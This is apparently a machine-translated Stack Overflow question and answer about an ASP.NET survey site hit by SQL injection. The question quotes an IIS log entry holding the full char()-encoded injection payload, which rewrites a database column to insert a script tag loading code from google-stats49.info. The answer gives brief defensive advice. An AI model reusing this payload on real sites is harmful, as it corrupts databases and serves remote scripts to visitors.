我们有一个调查站点显然遭到了攻击。这些症状与本网站下一页所描述的相同: XSS Attack on the ASP.NET Website .
我在我们的 IIS 日志中发现了多个包含恶意代码的条目:
< / title> < script src = http : // google-stats49.info/ur.php >.
这是 IIS 日志条目之一的 cs-uri-query 字段值的示例。
surveyID=91+update+usd_ResponseDetails+set+categoryName=REPLACE(cast(categoryName+as+varchar(8000)),cast(char(60)%2Bchar(47)%2Bchar(116)%2Bchar(105)%2Bchar(116)%2Bchar(108)%2Bchar(101)%2Bchar(62)%2Bchar(60)%2Bchar(115)%2Bchar(99)%2Bchar(114)%2Bchar(105)%2Bchar(112)%2Bchar(116)%2Bchar(32)%2Bchar(115)%2Bchar(114)%2Bchar(99)%2Bchar(61)%2Bchar(104)%2Bchar(116)%2Bchar(116)%2Bchar(112)%2Bchar(58)%2Bchar(47)%2Bchar(47)%2Bchar(103)%2Bchar(111)%2Bchar(111)%2Bchar(103)%2Bchar(108)%2Bchar(101)%2Bchar(45)%2Bchar(115)%2Bchar(116)%2Bchar(97)%2Bchar(116)%2Bchar(115)%2Bchar(53)%2Bchar(48)%2Bchar(46)%2Bchar(105)%2Bchar(110)%2Bchar(102)%2Bchar(111)%2Bchar(47)%2Bchar(117)%2Bchar(114)%2Bchar(46)%2Bchar(112)%2Bchar(104)%2Bchar(112)%2Bchar(62)%2Bchar(60)%2Bchar(47)%2Bchar(115)%2Bchar(99)%2Bchar(114)%2Bchar(105)%2Bchar(112)%2Bchar(116)%2Bchar(62)+as+varchar(8000)),cast(char(32)+as+varchar(8)))--
我不明白上面的代码是如何工作的,但显然这是在查询字符串中发送的内容,以破坏我们数据库表中的列。我们暂时关闭了我们的网站。我们可以从数据库中删除脚本,但是当我们将站点重新联机时,这并不能防止它再次被破坏。
有没有人对如何防止这种情况发生有任何建议?
最佳答案
那是 SQL 注入(inject)。
- 永远不要相信用户的输入。您正在接受输入并将其直接发送到数据库
- 永远不要相信您的用户输入!
- 根据允许值的白名单检查所有输入。
- 对于文本输入,确保一切都被转义
关于这个主题有很多:Google is your friend
关于javascript - 对使用 SQL Server 数据库的 ASP 站点的攻击,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/3788080/